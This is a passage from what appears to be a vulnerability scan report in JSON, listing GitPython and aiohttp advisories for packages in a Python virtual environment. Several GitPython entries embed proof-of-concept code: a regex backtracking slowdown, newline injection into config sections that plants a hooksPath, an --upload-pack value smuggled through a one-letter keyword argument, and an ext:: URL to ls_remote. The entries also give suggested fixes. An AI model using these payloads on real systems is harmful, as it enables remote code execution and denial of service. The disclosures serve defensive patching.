"2026-08-07T15:46:35Z", "LastModifiedDate": "2026-08-07T15:46:35Z" }, { "VulnerabilityID": "GHSA-m64x-33q8-m5h7", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-m64x-33q8-m5h7", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:372943395a4c61983e7e39578ba51650da89c01cb7b534f9b61e10e42ff04c3c", "Title": "GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines", "Description": "### Summary\n\nThis is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made `Actor._from_string` regex-free, but `parse_actor_and_date` still runs `_re_actor_epoch` on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.\n\n### Details\n\n`git/objects/util.py:322`:\n\n```python\n_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n```\n\n`.+?` and `(.*)` can both absorb the same run of spaces, and the required ` (\\d+) ([+-]\\d+)` tail is only checked after them. On a long line with no valid tail, the search retries every split point.\n\nIt is called from `parse_actor_and_date` (`git/objects/util.py:335`), which runs on the author and committer lines in `Commit._deserialize` (`git/objects/commit.py:917`, `:931`) and on the tagger line in `git/objects/tag.py:129`.\n\nThe published payload (letters plus an unterminated `\u003c`) is fast on 3.1.62. Replacing the letters with spaces is not:\n\n| author line (after `author `) | 2 KB | 8 KB | 32 KB |\n|---|---|---|---|\n| `'a'*n + ' \u003c'` (advisory payload) | 0.0 ms | 0.1 ms | 0.4 ms |\n| `' '*n` | 28 ms | 453 ms | 7,700 ms |\n| valid line, long name (control) | 0.0 ms | 0.0 ms | 0.0 ms |\n\nCost grows about 16x for each 4x increase in length.\n\n### PoC\n\n```python\nimport time\nfrom git.objects.util import parse_actor_and_date\n\nline = \"author \" + \" \" * 32000\nt = time.perf_counter()\nparse_actor_and_date(line)\nprint(f\"{time.perf_counter() - t:.1f} s\") # ~7 s on 3.1.62\n```\n\nEnd to end, reading `Commit.author` on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid `1191999972 -0700` tail takes 1.3 ms.\n\nNote for reproducing: `git hash-object -t commit -w` refuses such an object (`missingEmail`), so the test object was written with `--literally`. A remote can still serve one, because `fetch.fsckObjects` and `transfer.fsckObjects` default to false. This is the same delivery model as CVE-2026-87819 (\"craft a commit object with a malformed author field\").\n\n### Impact\n\nCPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to `Commit.author`, `Commit.committer` or `TagObject.tagger` on a crafted object costs seconds, and a repository can contain many such objects.\n\n### Suggested fix\n\nMatch the leading field name with `.[^ ]*` instead of `.+?`. Both stop at the first space after the first character, but `.[^ ]*` cannot overlap the following `(.*)`, so the backtracking disappears:\n\n```python\n_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n```\n\nVerification on current main (73a72c9):\n\n- Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.\n- `' '*n` at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).\n- The existing test suite gives the same pass/fail set with and without the change\n- The new regression test, `test_parse_actor_and_date_malformed_line_is_linear`, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).\n\nThe full patch (fix plus regression test) is attached below.\n\n```diff\ndiff --git a/git/objects/util.py b/git/objects/util.py\nindex a68d701f..d8c0594d 100644\n--- a/git/objects/util.py\n+++ b/git/objects/util.py\n@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -\u003e Tuple[int, int]:\n \n \n # Precompiled regexes\n-_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n-_re_only_actor = re.compile(r\"^.+? (.*)$\")\n+# The leading field name (\"author\", \"committer\", \"tagger\") is matched with ``.[^ ]*`` rather than\n+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the\n+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.\n+_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n+_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n \n \n def parse_actor_and_date(line: str) -\u003e Tuple[Actor, int, int]:\ndiff --git a/test/test_util.py b/test/test_util.py\nindex cf4299d5..e1631420 100644\n--- a/test/test_util.py\n+++ b/test/test_util.py\n@@ -22,6 +22,7 @@ from git.cmd import dashify\n from git.objects.util import (\n altz_to_utctz_str,\n from_timestamp,\n+ parse_actor_and_date,\n parse_date,\n tzoffset,\n utctz_to_altz,\n@@ -571,6 +572,30 @@ class TestUtils(TestBase):\n Actor(\"name last another\", \"some-very-long-email@example.com\"),\n )\n \n+ def test_parse_actor_and_date_malformed_line_is_linear(self):\n+ # A long author line whose trailing epoch/offset is missing or malformed used to make\n+ # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.\n+ # The parse result must be unchanged; only the time spent reaching it should move.\n+ for tail in (\"\", \" notanumber -0700\", \" 1191999972\", \" -0700\", \" 1191999972 xx\"):\n+ line = \"author \" + \" \" * 32000 + tail\n+ start = time.perf_counter()\n+ actor, epoch, offset = parse_actor_and_date(line)\n+ self.assertLess(time.perf_counter() - start, 1.0)\n+ self.assertEqual(epoch, 0)\n+ self.assertEqual(offset, 0)\n+\n+ # Well-formed lines, including one with a long name, still parse exactly as before.\n+ actor, epoch, offset = parse_actor_and_date(\n+ \"author Tom Preston-Werner \u003ctom@mojombo.com\u003e 1191999972 -0700\"\n+ )\n+ self.assertEqual(actor, Actor(\"Tom Preston-Werner\", \"tom@mojombo.com\"))\n+ self.assertEqual(epoch, 1191999972)\n+ self.assertEqual(offset, 25200)\n+\n+ actor, epoch, offset = parse_actor_and_date(\"author \" + \"a \" * 16000 + \"\u003ca@b\u003e 1 -0700\")\n+ self.assertEqual(actor.email, \"a@b\")\n+ self.assertEqual(epoch, 1)\n+\n @ddt.data(\n (\"name\", \"\"),\n (\"name\", \"prefix_\"),\n```\n\nFound with AI assistance (Claude) and verified by hand.\n\nBrian Willows", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 } }, "References": [ "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15", "https://github.com/gitpython-developers/GitPython/pull/2253", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7" ], "PublishedDate": "2026-10-27T15:26:24Z", "LastModifiedDate": "2026-10-27T15:26:25Z" }, { "VulnerabilityID": "GHSA-mv93-w799-cj2w", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.50", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-mv93-w799-cj2w", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7104ee4bfd9ec74166fbcba45d26e4c4a9708719affdf05fb3cd64d8c8936488", "Title": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath", "Description": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value — already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # → /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-mv93-w799-cj2w", "https://github.com/advisories/GHSA-mv93-w799-cj2w", "https://github.com/advisories/GHSA-rpm5-65cw-6hj4", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w" ], "PublishedDate": "2026-05-08T23:19:02Z", "LastModifiedDate": "2026-05-08T23:19:02Z" }, { "VulnerabilityID": "GHSA-r9mr-m37c-5fr3", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.54", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-r9mr-m37c-5fr3", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c6d7338d38ad87a6d0d0c2cf879a3488d82934d908d5f287f2d02d4741680764", "Title": "GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution", "Description": "## Summary\nGitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`.\n\n## Root Cause\nThe guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {\"n\":\"--upload-pack=\u003ccmd\u003e\"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=\u003ccmd\u003e']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.\n\n## Impact\nArbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`.\n\n## Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo, out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n# /tmp/ACE created -\u003e ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -\u003e candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.\n\n## Attack Chain\n1. Entry: app forwards a user-supplied options dict -\u003e `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})` -\u003e `['-n']` (key-only), not on denylist -\u003e no UnsafeOptionError (verified live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -\u003e `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- \u003csrc\u003e \u003cdst\u003e`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value-\u003eseparate-token vector.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nMake `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-r9mr-m37c-5fr3", "https://github.com/advisories/GHSA-r9mr-m37c-5fr3", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453", "https://github.com/gitpython-developers/GitPython/pull/2180", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3" ], "PublishedDate": "2026-07-24T16:42:57Z", "LastModifiedDate": "2026-07-24T16:42:57Z" }, { "VulnerabilityID": "GHSA-w8jc-g24h-crhw", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-w8jc-g24h-crhw", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3ba8e057a4b405db89b5138a0350500340c6f1e9a4e9e6dd158fe253c74b275b", "Title": "GitPython command wrappers omit unsafe protocol and option checks", "Description": "### Summary\n\nGitPython has spent 2022-2026 rolling out two reusable guards method-by-method: `Git.check_unsafe_protocols(url)` (raises `UnsafeProtocolError` for `\u003ctransport\u003e::` remote-helper URLs - CVE-2022-24439) and `Git.check_unsafe_options(...)` (raises `UnsafeOptionError` for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a `git` argv from caller-controlled values still have **neither**:\n\n1. **`Git.ls_remote`** (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no `allow_unsafe_protocols` parameter exists. The same URL through `clone_from` raises `UnsafeProtocolError`.\n2. **`Repo.merge_base`** (git/repo/base.py:895-936) - forwards `**kwargs`/`*rev` to `self.git.merge_base` with no guard; guarded sibling `iter_commits` sits 12 lines up. Its exception handler additionally swallows every non-128 `GitCommandError` into `[]`, masking the injection.\n3. **`IndexFile.move`** (git/index/base.py:1092-1168) - forwards `**kwargs` to `git mv` twice (:1147, :1167); guarded sibling `remove()` is 23 lines above.\n\nVerified unfixed on `main @ a54d159` (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.\n\n### Impact\n\n**Site 1 (`ls_remote`)** - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (`Git(...).ls_remote(attacker_url)`) with an `ext::sh -c ...` URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with `protocol.ext.allow=always` (marker executed). git \u003e= 2.38.1 stock config refuses the transport (`fatal: transport 'ext' not allowed`, rc 128) - GitPython adds no defense-in-depth and surfaces a bare `GitCommandError`. Environments on git \u003c 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.\n\n**Sites 2/3** - latent argument-injection surface: caller kwargs flow 1:1 into the `git` argv before operands and `--` (cmd.py:1850 `opt_args + ext_args`), and `execute_kwargs` (incl. `shell=True`/`env` - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today `git merge-base`/`git mv` expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.\n\n### Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)\n\n| # | Call | Result |\n|---|---|---|\n| T1 | `repo.git.ls_remote('ext::/tmp/gp_touch.sh')`, stock config | git refuses (rc 128); **no `UnsafeProtocolError` from GitPython** |\n| T1b | same + victim config `protocol.ext.allow=always` | **marker created - arbitrary command executed** |\n| T2 | `repo.git.ls_remote('.', upload_pack=...)` | blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) |\n| T3 | `repo.merge_base('main','side', upload_pack=...)` | **not blocked**; argv `git merge-base --upload-pack=... main side`; rc 129 silently converted to `[]` |\n| T4 | `repo.index.move(['f1','f2'], output=...)` | **not blocked**; option reaches `git mv` (rc 129) |\n\n### Coverage matrix (main @ a54d159)\n\n`check_unsafe_protocols`: 7 call sites (`_clone`, `archive`, `set_url`, `create`, `fetch`, `pull`, `push`) - none on `ls_remote`.\n`check_unsafe_options`: 24 call sites incl. `ls_remote`, `iter_commits`, `IndexFile.remove` - absent on `merge_base` and `move`.\n\n### Precedents (same repo, same guard family)\n\n- **CVE-2022-24439 / GHSA-hcpj-qp55-gfph** (critical): `check_unsafe_protocols` on the clone path - Site 1 is the same `ext::` primitive on a sibling API.\n- **CVE-2023-40267 / GHSA-pr76-5cm5-w9cj** (critical, 'incomplete fix for CVE-2022-24439'): `check_unsafe_options` - unguarded kwargs to argv treated as RCE (`shell=True` on Windows).\n- **CVE-2026-42215 / GHSA-rpm5-65cw-6hj4** (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.\n- **CVE-2026-67323 / GHSA-956x-8gvw-wg5v** (high, 8.4, fixed 3.1.51): added `check_unsafe_options` to `archive`/`ls_remote`/`iter_commits`/`blame`; its PoC is literally `repo.git.ls_remote('.', upload_pack=...)`. Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: `ls_remote` got options but not protocols; `merge_base`/`move` got neither.\n\n### Recommended fix (existing helpers, 1-3 lines per site)\n\n1. `Git.ls_remote`: `if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])` + new `allow_unsafe_protocols: bool = False` (the `_clone` pattern, base.py:1536-1538).\n2. `Repo.merge_base`: `check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)` (the `iter_commits` pattern); stop masking non-128 statuses.\n3. `IndexFile.move`: the `remove()` pattern with `unsafe_git_pathspec_from_file_options`.\n\nOne advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b", "https://github.com/gitpython-developers/GitPython/pull/2251", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw" ], "PublishedDate": "2026-10-27T15:26:43Z", "LastModifiedDate": "2026-10-27T15:26:43Z" }, { "VulnerabilityID": "CVE-2026-111064", "VendorIDs": [ "GHSA-5wr8-gcqf-gqf3" ], "PkgName": "aiohttp", "PkgPath": "venv/lib/python3.12/site-packages/aiohttp-3.13.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/aiohttp@3.13.3", "UID": "87a5fefca6535570" }, "InstalledVersion": "3.13.3", "FixedVersion": "3.14.4", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111064", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2256bcb2339644cda06679c2306563f1e1cb35112556688dc14002334be2d8ea", "Title": "aiohttp: aiohttp: Denial of Service via missing initial request timeout", "Description": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.4, keepalive timeout handling is absent during the initial portion of a request. An attacker can keep an idle connection open indefinitely before sending any request data, consuming server connection capacity. This issue is fixed in version 3.14.4.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "ghsa": 3, "oracle-oval": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-111064", "https://advisory.echohq.com/cve/CVE-2026-111064", "https://github.com/aio-libs/aiohttp", "https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3", "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4", "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3", "https://linux.oracle.com/cve/CVE-2026-111064.html", "https://linux.oracle.com/errata/ELSA-2026-604898.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-111064", "https://www.cve.org/CVERecord?id=CVE-2026-111064" ], "PublishedDate": "2026-10-19T17:17:03.377Z", "LastModifiedDate": "2026-10-28T16:17:01.09Z" }, { "VulnerabilityID": "CVE-2026-111066", "VendorIDs": [ "GHSA-9xw5-w5jj-pvcg" ], "PkgName": "aiohttp", "PkgPath": "venv/lib/python3.12/site-packages/aiohttp-3.13.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/aiohttp@3.13.3", "UID": "87a5fefca6535570" }, "InstalledVersion": "3.13.3", "FixedVersion": "3.14.4", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111066", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:57768083dbcee2a11321db008d93a09f8e1cac65594aae3ab0159a4f302a4d36", "Title": "aiohttp: aiohttp: Denial of Service via file descriptor exhaustion in multipart request processing", "Description": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. From 2.0.0 until 3.14.4, multipart request processing can retain an unbounded number of open file descriptors. An unauthenticated attacker can consequently exhaust file descriptors with specially crafted multipart requests when a handler uses Request.post(). This issue is fixed in version 3.14.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "ghsa": 3, "oracle-oval": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-111066", "https://advisory.echohq.com/cve/CVE-2026-111066", "https://github.com/aio-libs/aiohttp", "https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09", "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4", "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg", "https://linux.oracle.com/cve/CVE-2026-111066.html", "https://linux.oracle.com/errata/ELSA-2026-604898.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-111066", "https://www.cve.org/CVERecord?id=CVE-2026-111066" ], "PublishedDate": "2026-10-19T17:17:03.637Z", "LastModifiedDate": "2026-10-20T17:17:29.313Z" }, { "VulnerabilityID": "CVE-2026-69244", "VendorIDs": [ "GHSA-cq5v-8q36-5273" ], "PkgName": "aiohttp", "PkgPath": "venv/lib/python3.12/site-packages/aiohttp-3.13.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/aiohttp@3.13.3", "UID": "87a5fefca6535570" }, "InstalledVersion": "3.13.3", "FixedVersion": "3.14.3", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69244", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:58f2f9d4f3624b404b64598d6b9e5da3def70628e49c3484e6311512d1c2d532", "Title": "aiohttp: AIOHTTP: Denial of Service via malformed HTTP responses", "Description": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.3, an out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response. An attacker controlled server, or possibly an accidental response, could trigger a DoS in the client. The vulnerable path was error message construction in aiohttp/_http_parser.pyx, where an llhttp error-position pointer was used to build a snippet for malformed chunked responses and malformed request or response bytes at the buffer end. This issue is fixed in version 3.14.3.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-400", "CWE-416" ], "VendorSeverity": { "ghsa": 3, "oracle-oval": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-69244", "https://advisory.echohq.com/cve/CVE-2026-69244", "https://github.com/aio-libs/aiohttp", "https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d", "https://github.com/aio-libs/aiohttp/pull/13223", "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3", "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273", "https://linux.oracle.com/cve/CVE-2026-69244.html", "https://linux.oracle.com/errata/ELSA-2026-604898.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-69244", "https://www.cve.org/CVERecord?id=CVE-2026-69244" ], "PublishedDate": "2026-08-03T21:16:42.273Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "GHSA-2g87-pp6c-29x5", "PkgName": "aiohttp", "PkgPath": 